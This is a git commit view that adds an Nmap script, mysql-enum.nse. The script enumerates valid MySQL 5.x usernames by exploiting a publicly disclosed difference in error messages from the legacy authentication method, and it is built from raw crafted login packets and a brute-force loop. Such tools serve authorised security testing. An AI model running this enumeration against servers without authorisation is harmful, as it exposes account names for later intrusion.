summaryrefslogtreecommitdiffstats
path: root/scripts/mysql-enum.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/mysql-enum.nse')
-rw-r--r--scripts/mysql-enum.nse113
1 files changed, 113 insertions, 0 deletions
diff --git a/scripts/mysql-enum.nse b/scripts/mysql-enum.nse
new file mode 100644
index 0000000..1fad762
--- /dev/null
+++ b/scripts/mysql-enum.nse
@@ -0,0 +1,113 @@
+local brute = require "brute"
+local creds = require "creds"
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Performs valid-user enumeration against MySQL server using a bug
+discovered and published by Kingcope
+(http://seclists.org/fulldisclosure/2012/Dec/9).
+
+Server version 5.x are susceptible to an user enumeration
+attack due to different messages during login when using
+old authentication mechanism from versions 4.x and earlier.
+
+]]
+
+---
+-- @usage
+-- nmap --script=mysql-enum <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 3306/tcp open mysql syn-ack
+-- | mysql-enum:
+-- | Accounts
+-- | admin:<empty> - Valid credentials
+-- | test:<empty> - Valid credentials
+-- | test_mysql:<empty> - Valid credentials
+-- | Statistics
+-- |_ Performed 11 guesses in 1 seconds, average tps: 11
+--
+-- @args mysql-enum.timeout socket timeout for connecting to MySQL (default 5s)
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service(3306, "mysql")
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+arg_timeout = (arg_timeout or 5) * 1000
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = nmap.new_socket()
+ local status, err = self.socket:connect(self.host, self.port)
+ self.socket:set_timeout(arg_timeout)
+ if(not(status)) then
+ return false, brute.Error:new( "Couldn't connect to host: " .. err )
+ end
+ return true
+ end,
+
+ login = function (self, user, pass) -- pass is actually the username we want to try
+ local status, response = mysql.receiveGreeting(self.socket)
+ if(not(status)) then
+ if string.find(response,"is blocked because of many connection errors") then
+ local err = brute.Error:new( response )
+ err:setAbort( true )
+ return false, err
+ end
+ return false,brute.Error:new(response)
+ end
+ stdnse.debug1( "Trying %s ...", pass)
+ local auth_string = stdnse.fromhex("0000018d00000000") .. pass .. stdnse.fromhex("00504e5f5155454d4500"); -- old authentication method
+ local err
+ status, err = self.socket:send(string.pack("b",#auth_string-3) .. auth_string) --send initial auth
+ status, response = self.socket:receive_bytes(0)
+ if not status then
+ return false,brute.Error:new( "Incorrect username" )
+ end
+ if string.find(response,"Access denied for user") == nil then
+ -- found it
+ return true, creds.Account:new( pass, nil, creds.State.VALID)
+ else
+ return false,brute.Error:new( "Incorrect username" )
+ end
+ end,
+
+ disconnect = function( self )
+ self.socket:close()
+ return true
+ end
+
+}
+
+action = function( host, port )
+
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options:setOption("passonly", true )
+ engine:setPasswordIterator(brute.usernames_iterator())
+ engine.options.script_name = SCRIPT_NAME
+ engine.options:setTitle("Valid usernames")
+ status, result = engine:start()
+
+ return result
+end